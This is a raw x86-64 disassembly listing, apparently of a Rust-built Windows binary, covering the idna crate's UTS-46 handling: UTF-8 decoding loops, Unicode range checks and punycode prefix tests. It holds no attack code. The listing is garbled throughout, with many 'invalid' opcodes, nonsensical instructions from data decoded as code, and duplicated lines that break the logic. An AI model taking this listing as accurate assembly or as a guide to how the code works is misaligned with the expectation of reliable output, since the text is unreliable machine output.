mov qword [rsp + 0x80], 0
mov qword [rsp + 0x88], r15
mov qword [rsp + 0x90], rcx
mov byte [rsp + 0x98], 1
mov word [rsp + 0xa0], 1
lea rdi, [rsp + 0x60]
nop word cs:[rax + rax]
mov rcx, rdi
call fcn.140037730
test rax, rax
je 0x140042392
test rdx, rdx
jne 0x140042380
test rax, rax
movzx eax, r13b
mov esi, 1
cmove esi, eax
mov al, 1
cmp r15, 0xfd
mov r8d, dword [rsp + 0x128]
movabs rcx, 0x2e0000002e
jbe 0x1400423e1
jmp 0x14004441f
lea r8, [0x14012d118]
mov rcx, rax
call fcn.1401085b0
lea r8, [0x14012d130]
call fcn.1401085b0
xor r15d, r15d
mov r13d, r8d
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x68], r15
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x78], r15
mov qword [rsp + 0x80], 0
mov qword [rsp + 0x88], r15
mov qword [rsp + 0x90], rcx
mov byte [rsp + 0x98], 1
mov word [rsp + 0xa0], 1
lea rdi, [rsp + 0x60]
nop
mov rcx, rdi
call fcn.140037730
test rax, rax
je 0x140042443
cmp rdx, 0x40
jb 0x140042430
test rax, rax
movzx ecx, byte [rsp + 0x12c]
mov eax, 1
add byte [rax], al
add byte [rax], al
cmove eax, ecx
mov r8d, r13d
jmp 0x14004441f
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fidna_0.5.0_srcuts46.rs
mov edx, 0x75a
mov rcx, 0xffffffffffffffff
call fcn.1401085b0
scasd eax, dword [rdi]
invalid
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fidna_0.5.0_srcuts46.rs
mov edx, 0x1f73
call fcn.1401085b0
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fidna_0.5.0_srcuts46.rs
mov edx, 0x1f73
call fcn.1401085b0
lea r8, [0x14012d100]
call fcn.1401085b0
mov rcx, r15
mov rdx, r14
mov rsi, r8
mov r8, r9
mov rdi, r9
call fcn.140108ba0
mov r8, rsi
mov r9, rdi
mov r14, qword [r15 + 0x10]
jmp 0x140042271
cmp dword [rsp + 0x70], 0
je 0x140042503
cmp qword [rsp + 0x78], 0
je 0x140042503
mov r8, qword [rsp + 0x80]
mov rcx, qword [0x140182260]
adc eax, dword [rax]
adc eax, dword [rax]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
test ebx, ebx
mov rsi, qword [rsp + 0x158]
je 0x14004252c
cmp qword [rsp + 0xe8], 0
je 0x14004252c
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rsp + 0x1d8], 0
mov qword [rsp + 0x1e0], 8
mov qword [rsp + 0x1e8], 0
mov rax, qword [rsi + 8]
mov rcx, qword [rsi + 0x10]
mov qword [rsp + 0x170], 0
mov qword [rsp + 0x178], rcx
mov qword [rsp + 0x180], rax
mov qword [rsp + 0x188], rcx
mov qword [rsp + 0x190], 0
mov qword [rsp + 0x198], rcx
movabs rax, 0x2e0000002e
mov qword [rsp + 0x1a0], rax
mov byte [rsp + 0x1a8], 1
mov word [rsp + 0x1b0], 1
mov rbx, qword [rsp + 0x50]
mov rax, rbx
and rax, 0xffffffffffff00ff
mov qword [rsp + 0x148], rax
mov sil, 1
xor edi, edi
lea r12, [0x14014fc2c]
xorps xmm6, xmm6
movdqa xmm11, xmmword [0x140113900]
invalid
adc ecx, dword [0x14f488be5]
outsd dx, dword [rsi]
and eax, 0xd11d5
movdqa xmm13, xmmword [0x140113910]
movdqa xmm14, xmmword [0x140113920]
movdqa xmm15, xmmword [0x140113930]
movdqa xmm7, xmmword [0x140113940]
invalid
cmp eax, 0xd1332
movdqa xmm8, xmmword [0x140113950]
movdqa xmm9, xmmword [0x140113960]
movdqa xmm10, xmmword [0x140113970]
jmp 0x14004267e
xor edi, edi
mov rcx, r13
mov rdx, r14
mov r8, rbx
lea r9, [rsp + 0x30]
call fcn.140040590
mov rcx, qword [rsp + 0x350]
mov rax, qword [rcx]
mov rbp, qword [rcx + 0x10]
sub rax, rbp
cmp rax, r14
jb 0x140042b98
mov rsi, qword [rsp + 0x350]
mov rcx, qword [rsi + 8]
add rcx, rbp
mov rdx, r13
mov r8, r14
call fcn.140106530
add r14, rbp
mov qword [rsi + 0x10], r14
xor esi, esi
lea rcx, [rsp + 0x170]
call fcn.140037730
test rax, rax
je 0x140043496
mov r13, rax
mov r14, rdx
test sil, 1
jne 0x1400426cc
mov rsi, qword [rsp + 0x350]
mov rax, qword [rsi + 0x10]
cmp rax, qword [rsi]
jne 0x1400426bd
mov rcx, rsi
call fcn.1400ba070
mov rax, qword [rsi + 0x10]
mov rcx, qword [rsi + 8]
mov byte [rcx + rax], 0x2e
inc rax
mov qword [rsi + 0x10], rax
cmp r14, 4
jb 0x1400426e0
cmp dword [r13], 0x2d2d6e78
je 0x140042815
test dil, 1
jne 0x14004262d
test r14, r14
je 0x14004262b
mov rax, r13
add rax, r14
mov rcx, r13
jmp 0x140042707
cmp rcx, rax
je 0x14004262b
movzx r10d, byte [rcx]
movzx edx, r10b
test dl, dl
js 0x140042718
inc rcx
jmp 0x14004278c
mov r8d, edx
and r8d, 0x1f
movzx r11d, byte [rcx + 1]
and r11d, 0x3f
cmp dl, 0xdf
jbe 0x14004276e
movzx r9d, byte [rcx + 2]
shl r11d, 6
and r9d, 0x3f
or r9d, r11d
cmp r10b, 0xf0
jb 0x14004277e
movzx edx, byte [rcx + 3]
and r8d, 7
shl r8d, 0x12
shl r9d, 6
and edx, 0x3f
or edx, r9d
or edx, r8d
cmp edx, 0x110000
je 0x14004262b
add rcx, 4
jmp 0x14004278c
add rcx, 2
shl r8d, 6
or r8d, r11d
mov edx, r8d
jmp 0x14004278c
add rcx, 3
shl r8d, 0xc
or r9d, r8d
mov edx, r9d
lea r8d, [rdx - 0x21]
cmp r8d, 0x5e
jb 0x1400426fe
mov r8d, 0x5a6
xor r10d, r10d
mov r9d, 0x5a6
jmp 0x1400427c3
cmp r11d, edx
cmova r9, r8
mov r8, r9
sub r8, r10
jbe 0x1400426fe
shr r8, 1
add r8, r10
lea rsi, [r8 + r8*2]
mov r11d, dword [r12 + rsi*4]
mov edi, dword [r12 + rsi*4 + 4]
cmp edi, edx
jb 0x1400427df
cmp r11d, edx
jbe 0x1400427ee
cmp edi, edx
jae 0x1400427b0
mov r10, r8
inc r10
mov r8, r9
jmp 0x1400427b0
ret 0xff49
movzx edx, byte [r12 + rsi*4 + 8]
cmp edx, 0x11
ja 0x1400426fe
mov r8d, 0x20003
bt r8d, edx
jae 0x1400426fe
mov dil, 1
jmp 0x14004262d
mov qword [rsp + 0x150], rdi
add r14, 0xfffffffffffffffc
add r13, 4
lea rcx, [rsp + 0x1f0]
lea rdx, [rsp + 0x1d8]
mov r8, r13
mov r9, r14
call fcn.14003ebd0
mov rdi, qword [rsp + 0x1f0]
test rdi, rdi
je 0x140042b89
mov rbx, qword [rsp + 0x1f8]
mov rax, qword [rsp + 0x200]
mov qword [rsp + 0x118], rax
mov dword [rsp + 0x118], eax
mov dword [rsp + 0x118], eax
mov rax, qword [rsp + 0x208]
mov qword [rsp + 0x138], rax
mov r14, qword [rsp + 0x210]
mov rsi, qword [rsp + 0x218]
mov r8, qword [rsp + 0x220]
mov r13, qword [rsp + 0x350]
mov rax, qword [r13]
mov r15, qword [r13 + 0x10]
sub r8, rsi
sub rax, r15
cmp rax, r8
jb 0x1400433e0
mov qword [rsp + 0x130], r15
jmp 0x140042917
shr eax, 6
or al, 0xc0
mov byte [rsp + 0x60], al
and bpl, 0x3f
or bpl, 0x80
mov byte [rsp + 0x61], bpl
mov r13d, 2
mov rcx, qword [rsp + 0x350]
mov rax, qword [rcx]
mov rbp, qword [rcx + 0x10]
sub rax, rbp
cmp rax, r13
jb 0x140042b33
mov r15, qword [rsp + 0x350]
mov rcx, qword [r15 + 8]
add rcx, rbp
lea rdx, [rsp + 0x60]
mov r8, r13
call fcn.140106530
add rbp, r13
mov r13, r15
mov qword [r15 + 0x10], rbp
mov r15, qword [rsp + 0x138]
jmp 0x140042930
mov rcx, qword [r13 + 8]
mov byte [rcx + rax], bpl
inc rax
mov qword [r13 + 0x10], rax
cmp r14, r15
jae 0x1400429cf
mov rax, r14
shl rax, 4
add rax, qword [rsp + 0x118]
cmp qword [rax], rsi
jne 0x140042960
inc r14
mov ebp, dword [rax + 8]
jmp 0x140042a82
mov rcx, rdi
mov rdi, rbx
cmp rcx, rbx
je 0x140042960
movzx r8d, byte [rcx]
test r8b, r8b
jns 0x140042a57
movzx eax, r8b
and eax, 0x1f
movzx r9d, byte [rcx + 1]
and r9d, 0x3f
cmp r8b, 0xe0
jb 0x140042a5f
movzx edx, byte [rcx + 2]
shl r9d, 6
and edx, 0x3f
or edx, r9d
cmp r8b, 0xf0
jb 0x140042a6e
movzx ebp, byte [rcx + 3]
add rcx, 4
and eax, 7
shl eax, 0x12
shl edx, 6
and ebp, 0x3f
or ebp, edx
or ebp, eax
mov rdi, rcx
cmp ebp, 0x110000
je 0x140042960
jmp 0x140042a41
cmp rdi, rbx
je 0x140042b52
movzx r8d, byte [rdi]
test r8b, r8b
js 0x1400429f0
inc rdi
movzx ebp, r8b
inc rsi
jmp 0x140042a8d
movzx eax, r8b
and eax, 0x1f
movzx r9d, byte [rdi + 1]
and r9d, 0x3f
cmp r8b, 0xdf
jbe 0x140042a51
movzx edx, byte [rdi + 2]
shl r9d, 6
and edx, 0x3f
or edx, r9d
cmp r8b, 0xf0
jb 0x140042a77
movzx ebp, byte [rdi + 3]
and eax, 7
shl eax, 0x12
shl edx, 6
and ebp, 0x3f
or ebp, edx
or ebp, eax
cmp ebp, 0x110000
je 0x140042b52
add rdi, 4
mov rcx, rdi
mov rdi, rcx
cmp ebp, 0x110000
jne 0x140042a82
jmp 0x140042b52
add rdi, 2
jmp 0x140042a66
inc rcx
mov rdi, rcx
jmp 0x1400429e4
add rcx, 2
mov rdi, rcx
shl eax, 6
or eax, r9d
jmp 0x140042a80
add rcx, 3
mov rdi, rcx
jmp 0x140042a7b
add rdi, 3
shl eax, 0xc
or eax, edx
mov ebp, eax
inc rsi
cmp ebp, 0x80
jae case.0x140018f24.1755
mov rax, qword [r13 + 0x10]
cmp rax, qword [r13]
jne 0x140042921
mov rcx, r13
call fcn.1400ba070
mov rax, qword [r13 + 0x10]
jmp 0x140042921
mov dword [rsp + 0x60], 0
mov eax, ebp
cmp ebp, 0x800
jb 0x1400428ba
cmp ebp, 0x10000
jae 0x140042af8
shr eax, 0xc
or al, 0xe0
mov byte [rsp + 0x60], al
mov eax, ebp
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x61], al
and bpl, 0x3f
or bpl, 0x80
mov byte [rsp + 0x62], bpl
mov r13d, 3
jmp 0x1400428d6
shr eax, 0x12
or al, 0xf0
mov byte [rsp + 0x60], al
mov eax, ebp
shr eax, 0xc
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x61], al
mov eax, ebp
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x62], al
and bpl, 0x3f
or bpl, 0x80
mov byte [rsp + 0x63], bpl
mov r13d, 4
jmp 0x1400428d6
mov r15, qword [rsp + 0x350]
mov rcx, r15
mov rdx, rbp
mov r8, r13
call fcn.140108ba0
mov rbp, qword [r15 + 0x10]
jmp 0x1400428f1
lahf
std
invalid
mov rax, r13
mov r13, qword [r13 + 8]
mov rsi, qword [rax + 0x10]
mov r15, qword [rsp + 0x130]
test r15, r15
mov rbx, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x150]
je 0x140042bbd
cmp rsi, r15
jbe 0x140042bb7
cmp byte [r13 + r15], 0xbf
jg 0x140042bbd
jmp 0x140044622
mov byte [rsp + 0x30], 1
mov dil, 1
xor esi, esi
jmp 0x14004267e
mov rsi, qword [rsp + 0x350]
mov rcx, rsi
mov rdx, rbp
mov r8, r14
call fcn.140108ba0
mov rbp, qword [rsi + 0x10]
jmp 0x14004265b
jne 0x140044622
lea rax, [r15 + r13]
mov qword [rsp + 0x118], rax
test dil, 1
jne 0x140042c9f
cmp rsi, r15
jne 0x140042bdf
xor edi, edi
jmp 0x140042c9f
mov r14, rsi
add rsi, r13
mov rdi, qword [rsp + 0x118]
jmp 0x140042bf8
cmp rdi, rsi
je 0x140042c9a
movzx r8d, byte [rdi]
movzx ecx, r8b
test cl, cl
js 0x140042c09
inc rdi
jmp 0x140042c6b
mov eax, ecx
and eax, 0x1f
movzx r9d, byte [rdi + 1]
and r9d, 0x3f
cmp cl, 0xdf
jbe 0x140042c52
movzx edx, byte [rdi + 2]
shl r9d, 6
and edx, 0x3f
or edx, r9d
cmp r8b, 0xf0
jb 0x140042c60
movzx ecx, byte [rdi + 3]
and eax, 7
shl eax, 0x12
shl edx, 6
and ecx, 0x3f
or ecx, edx
or ecx, eax
cmp ecx, 0x110000
je 0x140042c9a
add rdi, 4
jmp 0x140042c6b
add rdi, 2
shl eax, 6
or eax, r9d
mov ecx, eax
jmp 0x140042c6b
add rdi, 3
shl eax, 0xc
or edx, eax
mov ecx, edx
lea eax, [rcx - 0x21]
cmp eax, 0x5d
jbe 0x140042bef
call fcn.1400f53f0
cmp al, 0x11
ja 0x140042bef
movzx eax, al
mov ecx, 0x20003
bt ecx, eax
jae 0x140042bef
mov dil, 1
jmp 0x140042c9c
xor edi, edi
mov rsi, r14
movq xmm0, qword [rsp + 0x30]
movzx eax, byte [rsp + 0x39]
pshufd xmm1, xmm0, 0x55
por xmm1, xmm0
movdqa xmm0, xmm1
psrld xmm0, 0x10
por xmm0, xmm1
movdqa xmm1, xmm0
psrlw xmm1, 8
por xmm1, xmm0
movd ecx, xmm1
or cl, byte [rsp + 0x38]
or al, byte [rsp + 0x3a]
or al, cl
or al, byte [rsp + 0x3b]
jne 0x14004348f
mov r14, rdi
cmp rsi, r15
je 0x14004345b
add r13, rsi
xor eax, eax
xor ebx, ebx
mov rdi, qword [rsp + 0x118]
movzx r8d, byte [rdi]
test r8b, r8b
js 0x140042d0e
inc rdi
jmp 0x140042d8c
movzx ecx, r8b
and ecx, 0x1f
movzx r9d, byte [rdi + 1]
and r9d, 0x3f
cmp r8b, 0xe0
jb 0x140042d5e
movzx edx, byte [rdi + 2]
shl r9d, 6
and edx, 0x3f
or edx, r9d
cmp r8b, 0xf0
jb 0x140042d6c
movzx ebp, byte [rdi + 3]
and ecx, 7
shl ecx, 0x12
shl edx, 6
and ebp, 0x3f
or ebp, edx
or ebp, ecx
cmp ebp, 0x110000
je 0x14004325d
add rdi, 4
jmp 0x140042d77
add rdi, 2
shl ecx, 6
or ecx, r9d
mov ebp, ecx
jmp 0x140042d77
add rdi, 3
shl ecx, 0xc
or edx, ecx
mov ebp, edx
cmp ebp, 0x7f
jbe 0x140042d8c
jmp 0x140042e0d
inc rdi
cmp ebp, 0x80
jae 0x140042e0b
cmp rdi, r13
je 0x14004325d
movzx edx, byte [rdi]
movzx ebp, dl
test bpl, bpl
jns 0x140042d81
mov eax, ebp
and eax, 0x1f
movzx r8d, byte [rdi + 1]
and r8d, 0x3f
cmp bpl, 0xdf
jbe 0x140042ded
movzx ecx, byte [rdi + 2]
shl r8d, 6
and ecx, 0x3f
or ecx, r8d
cmp dl, 0xf0
jb 0x140042dfb
movzx ebp, byte [rdi + 3]
and eax, 7
shl eax, 0x12
shl ecx, 6
and ebp, 0x3f
or ebp, ecx
or ebp, eax
cmp ebp, 0x110000
je 0x14004325d
add rdi, 4
jmp 0x140042d84
add rdi, 2
shl eax, 6
or eax, r8d
mov ebp, eax
jmp 0x140042d84
add rdi, 3
shl eax, 0xc
or ecx, eax
mov ebp, ecx
jmp 0x140042d84
xor eax, eax
mov r15, rsi
mov esi, eax
mov ecx, ebp
call fcn.1400f5460
cmp sil, al
mov rsi, r15
jbe 0x140042e29
test al, al
jne case.0x140042fce.3907
lea ecx, [rbp - 0x340]
cmp ecx, 4
ja 0x140042e3d
cmp ecx, 2
jne case.0x140042fce.3907
mov cl, 2
cmp ebp, 0xd56
jg 0x140042ea2
cmp ebp, 0x9de
jg 0x140042ee3
cmp ebp, 0x93b
cmp ecx, dword [rcx]
add byte [rax], al
jg 0x140042ff9
lea edx, [rbp - 0x30f]
cmp edx, 0x36
ja 0x140042e7e
movabs r8, 0x48020000001005
bt r8, rdx
jb 0x1400430e2
lea edx, [rbp - 0x374]
cmp edx, 0x13
cli
adc ecx, dword [rdi]
invalid
mov word [rdx], es
add byte [rax], al
cli
adc ecx, dword [rdi]
xchg dword [rdx + rax - 0x47bf0000], ecx
add dword [rax + rcx], eax
add byte [rcx + 0xf], al
movabs dword [0xe9000005e5820fd0], eax
ja 0x140042ea2
mov r8d, 0x80401
bt r8d, edx
jb case.0x140042fce.3907
jmp case.0x140042fce.3908
add byte [rax], al
cmp ebp, 0x11126
jg 0x140042f46
invalid
cwde
add byte [rax], al
invalid
cmp ebp, 0x102d
jle 0x140042f8a
cmp ebp, 0x1f70
jg 0x14004304b
cmp ebp, 0x102e
je 0x1400430df
cmp ebp, 0x1b35
je 0x1400430df
test byte [rcx], al
add al, byte [rax]
invalid
test byte [rcx], al
add al, byte [rax]
add cl, ch
add al, byte ss:[rax]
add byte [rcx + 0xbd6fd], al
add byte [rdi], cl
invalid
jmp case.0x140042fce.3908
cmp ebp, 0xbd6
jg 0x140042fd0
cmp ebp, 0xbbd
jg 0x1400430d7
lea edx, [rbp - 0xb3e]
cmp edx, 0x19
ja 0x140042f16
mov r8d, 0x3000001
bt r8d, edx
bt eax, edx
bt eax, edx
jb 0x1400430df
lea edx, [rbp - 0xa33]
cmp edx, 0x2b
ja 0x140042f35
movabs r8, 0x80000000009
bt r8, rdx
jb case.0x140042fce.3907
cmp ebp, 0x9df
jne case.0x140042fce.3908
jmp case.0x140042fce.3907
cmp ebp, 0x114af
jle 0x140043022
lea edx, [rbp - 0x114b0]
cmp edx, 0xd
ja 0x140042f6d
mov r8d, 0x2401
bt r8d, edx
jb 0x1400430df
cmp ebp, 0x115af
je 0x1400430df
cmp ebp, 0x11930
je 0x1400430df
jmp case.0x140042fce.3908
lea edx, [rbp - 0xdca]
cmp edx, 0x15
ja 0x140042fa5
mov r8d, 0x200021
bt r8d, edx
jb 0x1400430df
cmp ebp, 0xd57
je 0x1400430df
lea edx, [rbp - 0xf43]
cmp edx, 0x76
ja case.0x140042fce.3908
lea r8, [0x140177ac8]
movsxd rdx, dword [r8 + rdx*4]
add rdx, r8
jmp rdx
cmp ebp, 0xcc1
jg 0x14004309f
cmp ebp, 0xbd7
je 0x1400430df
cmp ebp, 0xc56
je 0x1400430df
jmp case.0x140042fce.3908
cmp ebp, 0x93c
je 0x1400430df
cmp ebp, 0x9be
je 0x1400430df
cmp ebp, 0x9d7
je 0x1400430df
jmp case.0x140042fce.3908
cmp ebp, 0x11127
je 0x1400430df
cmp ebp, 0x1133e
je 0x1400430df
adc eax, dword [rcx]
add byte [rdi], cl
test byte [rbp - 0x7f000000], ah
std
push rdi
adc eax, dword [rcx]
add byte [rdi], cl
test byte [rcx - 0x17000000], bl
invalid
cmp ebp, 0x11357
je 0x1400430df
jmp case.0x140042fce.3908
cmp ebp, 0xfa0f
jle 0x1400430b1
cmp ebp, 0x110ba
je 0x1400430df
lea edx, [rbp - 0xfa10]
cmp edx, 0x12
ja 0x14004307a
invalid
mov r8d, 0x50005
bt r8d, edx
jb case.0x140042fce.3907
lea edx, [rbp - 0xfb1d]
cmp edx, 0x21
ja case.0x140042fce.3908
nop
add byte [rax], al
invalid
movabs r8, 0x200000005
bt r8, rdx
jb case.0x140042fce.3907
jmp case.0x140042fce.3908
cmp ebp, 0xcc2
je 0x1400430df
cmp ebp, 0xd3e
je 0x1400430df
jmp case.0x140042fce.3908
cmp ebp, 0x2125
add byte [rax], al
jg 0x1400430f2
lea edx, [rbp - 0x1f71]
cmp edx, 0x8c
ja case.0x140042fce.3908
lea r8, [0x140177ca4]
movsxd rdx, dword [r8 + rdx*4]
add rdx, r8
jmp rdx
cmp ebp, 0xbbe
jne case.0x140042fce.3908
mov rsi, r15
mov ebx, ecx
cmp rdi, r13
jne 0x140042d00
adc edi, esp
invalid
invalid
adc edi, esp
invalid
jmp 0x14004325f
lea edx, [rbp - 0x2329]
cmp edx, 2
jb case.0x140042fce.3907
cmp ebp, 0x2126
je case.0x140042fce.3907
cmp ebp, 0x2adc
je case.0x140042fce.3907
movd xmm1, ebp
pshufd xmm0, xmm1, 0
movdqa xmm2, xmm0
paddd xmm2, xmmword [0x1401138d0]
movdqa xmm3, xmm0
paddd xmm3, xmmword [0x1401138e0]
pxor xmm3, xmm12
pcmpgtd xmm3, xmm14
pxor xmm2, xmm12
pcmpgtd xmm2, xmm15
packssdw xmm2, xmm3
packsswb xmm2, xmm2
pmovmskb edx, xmm2
xor dl, 0xff
jne case.0x140042fce.3907
pshufd xmm1, xmm1, 0x50
pand xmm1, xmmword [0x1401138c0]
pshufd xmm2, xmm1, 4
pcmpeqd xmm2, xmmword [0x1401138f0]
movdqa xmm3, xmm0
paddd xmm3, xmm11
pxor xmm3, xmm12
movdqa xmm4, xmm13
pcmpgtd xmm4, xmm3
por xmm4, xmm2
movmskps edx, xmm4
test dl, dl
jne case.0x140042fce.3907
lea edx, [rbp - 0x1d1bb]
cmp edx, 6
jb case.0x140042fce.3907
lea edx, [rbp - 0x2f800]
cmp edx, 0x21e
jb case.0x140042fce.3907
movd edx, xmm1
cmp edx, 0x2000
je case.0x140042fce.3907
cmp edx, 0x212a
je case.0x140042fce.3907
cmp edx, 0xfb40
add byte [rax], al
je case.0x140042fce.3907
movdqa xmm1, xmm0
paddd xmm1, xmm7
paddd xmm0, xmm8
pxor xmm0, xmm12
pcmpgtd xmm0, xmm9
pxor xmm1, xmm12
pcmpgtd xmm1, xmm10
packssdw xmm0, xmm1
packsswb xmm0, xmm0
packsswb mm0, mm0
outsd dx, dword [rsi]
enter 0xf66, 0xfffffffffffffffe
iretd
pmovmskb r8d, xmm0
xor r8b, 0xff
jne 0x1400430df
lea r8d, [rbp - 0x11a8]
cmp r8d, 0x1b
jb 0x1400430df
cmp edx, 0x330
mov rsi, r15
je 0x1400430e2
invalid
invalid
invalid
add ebp, 0xffffcf67
cmp ebp, 2
movzx ecx, bl
mov edx, 2
cmovb ecx, edx
jmp 0x1400430e2
mov ecx, ebx
test cl, cl
je 0x14004345b
movzx eax, cl
cmp eax, 1
je case.0x140042fce.3907
mov r15, rsi
lea rcx, [rsp + 0xa8]
movups xmmword [rcx], xmm6
mov byte [rcx + 0x10], 0
lea rax, [rsp + 0x230]
movups xmmword [rax], xmm6
mov qword [rsp + 0x60], 0
mov dword [rsp + 0x70], 0
mov word [rsp + 0x74], 0
mov byte [rsp + 0x78], 0
mov dword [rsp + 0x7c], 0
mov byte [rsp + 0x80], 0
mov dword [rsp + 0x84], 0
mov byte [rsp + 0x88], 0
mov dword [rsp + 0x8c], 0
mov byte [rsp + 0x90], 0
mov dword [rsp + 0x94], 0
mov rsi, qword [rsp + 0x118]
mov qword [rsp + 0x98], rsi
mov qword [rsp + 0xa0], r13
mov dword [rsp + 0xc0], 0
mov word [rsp + 0xc4], 0
movzx eax, word [rsp + 0x23e]
mov word [rcx + 0x2e], ax
movdqu xmm0, xmmword [rsp + 0x22e]
movdqu xmmword [rcx + 0x1e], xmm0
mov dword [rsp + 0xe0], 0x110000
mov byte [rsp + 0xe4], 0
cmp rsi, r13
je 0x1400433f0
movzx edx, byte [rsi]
movzx edi, dl
test dil, dil
js 0x140043361
inc rsi
jmp 0x1400433c3
mov eax, edi
and eax, 0x1f
movzx r8d, byte [rsi + 1]
and r8d, 0x3f
cmp dil, 0xdf
jbe 0x1400433aa
movzx ecx, byte [rsi + 2]
shl r8d, 6
and ecx, 0x3f
or ecx, r8d
cmp dl, 0xf0
jb 0x1400433b8
movzx edi, byte [rsi + 3]
and eax, 7
shl eax, 0x12
shl ecx, 6
and edi, 0x3f
or edi, ecx
or edi, eax
cmp edi, 0x110000
je 0x1400433f0
add rsi, 4
jmp 0x1400433c3
add rsi, 2
shl eax, 6
or eax, r8d
mov edi, eax
jmp 0x1400433c3
add rsi, 3
shl eax, 0xc
or ecx, eax
mov edi, ecx
lea rcx, [rsp + 0x60]
call fcn.14003fcb0
enter 0xffffffffffffffff, 0x31
fstp xword [0x1401533d4]
enter 0xffffffffffffffff, 0x31
fstp xword [0x1401533d4]
je 0x140043402
cmp eax, edi
je 0x140043348
jmp 0x140043402
mov rcx, r13
mov rdx, r15
call fcn.140108ba0
jmp 0x1400428b0
invalid
invalid
lea rcx, [rsp + 0x60]
call fcn.14003fcb0
cmp eax, 0x110000
sete bl
cmp dword [rsp + 0x70], 0
je 0x140043428
cmp qword [rsp + 0x78], 0
je 0x140043428
mov r8, qword [rsp + 0x80]
mov rcx, qword [0x140182260]
adc eax, dword [rax]
adc eax, dword [rax]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp dword [rsp + 0xc0], 0
mov rsi, r15
je 0x140043457
cmp qword [rsp + 0xc8], 0
je 0x140043457
mov r8, qword [rsp + 0xd0]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0xcff09
adc eax, 0xcff09
test bl, bl
je case.0x140042fce.3907
sub rsi, qword [rsp + 0x130]
mov rcx, qword [rsp + 0x118]
mov rdx, rsi
mov r8, qword [rsp + 0x148]
lea r9, [rsp + 0x30]
call fcn.140040590
jmp 0x140043487
mov byte [rsp + 0x35], 1
mov rbx, qword [rsp + 0x50]
mov rdi, r14
xor esi, esi
jmp 0x14004267e
mov rdx, rdi
mov rax, qword [rsp + 0x350]
mov rcx, qword [rax + 8]
mov rdi, qword [rax + 0x10]
mov r8, qword [rsp + 0x140]
test r8, r8
je 0x1400434db
cmp rdi, r8
jbe 0x1400434d9
cmp byte [rcx + r8], 0xbf
jg 0x1400434db
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fidna_0.5.0_srcuts46.rs
mov qword [rsp + 0x20], rax
mov rdx, rdi
mov r9, rdi
call fcn.140108ac0
jne 0x1400434c2
mov rax, rdi
sub rax, r8
add rcx, r8
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], rcx
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x80], 0
mov qword [rsp + 0x88], rax
movabs rax, 0x2e0000002e
mov qword [rsp + 0x90], rax
mov byte [rsp + 0x98], 1
mov word [rsp + 0xa0], 1
test dl, 1
jne 0x140043550
lea r15, [rsp + 0x60]
and al, 0x60
mov rcx, r15
call fcn.140037730
test rax, rax
jne 0x14004353e
jmp 0x14004393d
mov ebx, 0x260d9
mov r14d, 0x62f8
lea rcx, [rsp + 0x60]
call fcn.140037730
test rax, rax
je 0x14004393d
mov r13, rdx
test rdx, rdx
je 0x14004355b
mov r12, rax
movzx r8d, byte [rax]
movzx ecx, r8b
test cl, cl
js 0x14004358c
lea rbp, [r12 + 1]
jmp 0x1400435f6
mov eax, ecx
and eax, 0x1f
movzx r9d, byte [r12 + 1]
and r9d, 0x3f
cmp cl, 0xdf
jbe 0x1400435db
movzx edx, byte [r12 + 2]
shl r9d, 6
and edx, 0x3f
or edx, r9d
cmp r8b, 0xf0
jb 0x1400435ea
movzx ecx, byte [r12 + 3]
and eax, 7
shl eax, 0x12
shl edx, 6
and ecx, 0x3f
or ecx, edx
or ecx, eax
cmp ecx, 0x110000
je 0x14004355b
lea rbp, [r12 + 4]
jmp 0x1400435f6
lea rbp, [r12 + 2]
shl eax, 6
or eax, r9d
or eax, ecx
or eax, ecx
mov ecx, eax
jmp 0x1400435f6
lea rbp, [r12 + 3]
shl eax, 0xc
or edx, eax
mov ecx, edx
add r13, r12
call fcn.1400f53f0
test al, al
je 0x1400436bb
movzx eax, al
cmp eax, 0x11
je 0x1400436bb
cmp eax, 9
jne 0x140043938
cmp rbp, r13
je 0x140043792
movzx r8d, byte [rbp]
movzx ecx, r8b
test cl, cl
js 0x140043636
inc rbp
jmp 0x14004369c
mov eax, ecx
and eax, 0x1f
movzx r9d, byte [rbp + 1]
and r9d, 0x3f
cmp cl, 0xdf
jbe 0x140043683
movzx edx, byte [rbp + 2]
shl r9d, 6
and edx, 0x3f
or edx, r9d
cmp r8b, 0xf0
jb 0x140043691
movzx ecx, byte [rbp + 3]
and eax, 7
shl eax, 0x12
shl edx, 6
and ecx, 0x3f
or ecx, edx
or ecx, eax
cmp ecx, 0x110000
je 0x140043792
add rbp, 4
jmp 0x14004369c
add rbp, 2
shl eax, 6
or eax, r9d
mov ecx, eax
jmp 0x14004369c
add rbp, 3
shl eax, 0xc
or edx, eax
mov ecx, edx
call fcn.1400f53f0
cmp al, 0xe
ja 0x140043938
movzx eax, al
bt r14d, eax
jb 0x14004361b
jmp 0x140043938
cmp rbp, r13
je 0x1400437a3
xor esi, esi
xor r15d, r15d
jmp 0x1400436d7
mov sil, 1
cmp rbp, r13
je 0x14004377e
movzx r8d, byte [rbp]
movzx ecx, r8b
test cl, cl
js 0x1400436e9
inc rbp
jmp 0x14004374b
mov eax, ecx
and eax, 0x1f
movzx r9d, byte [rbp + 1]
and r9d, 0x3f
cmp cl, 0xdf
jbe 0x140043732
movzx edx, byte [rbp + 2]
shl r9d, 6
and edx, 0x3f
or edx, r9d
cmp r8b, 0xf0
jb 0x140043740
movzx ecx, byte [rbp + 3]
and eax, 7
shl eax, 0x12
shl edx, 6
and ecx, 0x3f
or ecx, edx
or ecx, eax
cmp ecx, 0x110000
je 0x14004377e
add rbp, 4
jmp 0x14004374b
